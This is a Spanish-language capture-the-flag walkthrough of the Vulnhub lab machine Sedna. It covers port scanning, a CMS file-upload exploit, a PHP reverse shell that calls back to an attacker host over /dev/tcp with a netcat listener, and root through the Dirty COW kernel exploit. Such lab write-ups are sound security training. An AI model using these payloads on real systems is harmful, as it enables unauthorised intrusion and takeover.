viernes, 4 de marzo de 2022

CTF Hackfest2016: Sedna VM

 


 

Bueno, en esta entrega sedna es una máquina que según el autor hay múltiples formas de conseguir los permisos como usuario root, asi que lo primero se escanea la máquina.

$ sudo nmap -sV -Pn -A -O -oN sedna 192.168.2.18
Starting Nmap
Nmap scan report for 192.168.2.18
Host is up (0.00081s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 aac39e80b48115dd60d508ba3fe0af08 (DSA)
|   2048 417fc25dd53a68e4c5d9cc60067693a5 (RSA)
|   256 ef2d6585f83a85c2330b7df9c8922203 (ECDSA)
|_  256 ca363c32e624f9b7b4d41dfcc0da1096 (ED25519)
53/tcp   open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
110/tcp  open  pop3        Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL AUTH-RESP-CODE PIPELINING RESP-CODES TOP STLS UIDL CAPA
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35963/tcp6  status
|   100024  1          45479/udp6  status
|   100024  1          49259/udp   status
|_  100024  1          59802/tcp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ ENABLE ID more post-login have LOGINDISABLEDA0001 capabilities Pre-login STARTTLS listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_ssl-date: TLS randomness does not represent time
445/tcp  open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imap    Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_imap-capabilities: LITERAL+ ENABLE ID more have post-login AUTH=PLAINA0001 capabilities Pre-login listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
995/tcp  open  ssl/pop3    Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_pop3-capabilities: USER AUTH-RESP-CODE PIPELINING SASL(PLAIN) TOP RESP-CODES UIDL CAPA
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Ahora en desde el navegador se puede ver lo siguiente.



 Ahora se indaga cuáles directorios están disponibles.

$ gobuster dir -u http://192.168.2.18/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.18/files                (Status: 301) [Size: 311] [--> http://192.168.2.18/files/]
http://192.168.2.18/themes               (Status: 301) [Size: 312] [--> http://192.168.2.18/themes/]
http://192.168.2.18/modules              (Status: 301) [Size: 313] [--> http://192.168.2.18/modules/]
http://192.168.2.18/system               (Status: 301) [Size: 312] [--> http://192.168.2.18/system/]
http://192.168.2.18/blocks               (Status: 301) [Size: 312] [--> http://192.168.2.18/blocks/]
http://192.168.2.18/server-status        (Status: 403) [Size: 292]
Progress: 220532 / 220561 (99.99%)
===============================================================

 

Cuando se revisa el directorio /themes, se pudo obtener más información acerca de la máquina.




Buscando se encontró un exploit para este CMS.


En este caso, solo se le cambia la IP de la VM, y asegurarse que la extensión sea .html, al abrir con el navegador este archivo, solo es necesario cargar el revershell.

$ cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");?>

Una vez cargado se encuentra en la ruta /files, pero antes se deja escuchando por el puerto que se especificó en el revershell.
$ nc -lvnp 4567


Ya adentro, se explora los archivos y se encuentra el primer flag
www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
********************8b9aeac6b289

 

Llegando a home, se nota que no hay algún workspace de usuarios, se verificó la información de la máquina.
www-data@Sedna:/var/www/html/files$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

 

Se encontró un exploit con estas características y que permiten elevar privilegios.
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method).

 

 Siguiendo las instrucciones del exploit y te pedirá una contraseña.
gcc -pthread 40839.c -o dirty -lcrypt
./dirty

 

Algo para resaltar es que aparentemente este exploit es muy agresivo, a los pocos segundos de ejecutarlo la máquina se atora, asi que lo siguiente para conseguir acceso a root, en otra pestaña. Este usuario se encuentra dentro del exploit.

$ ssh -l firefart 192.168.2.19
firefart@192.168.2.19's password: (contraseña que se le dio al exploit)
 

Ahora para encontrar la flag de root.
firefart@Sedna:~# ls
8d2daf441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.zip  chkrootkit  flag.txt
firefart@Sedna:~# cat flag.txt
*****************936614558305

Muchas gracias a @ViperBlackSkull que nos brindó esta VM. Hasta la próxima.

Vulnhub: hackfest2016: Sedna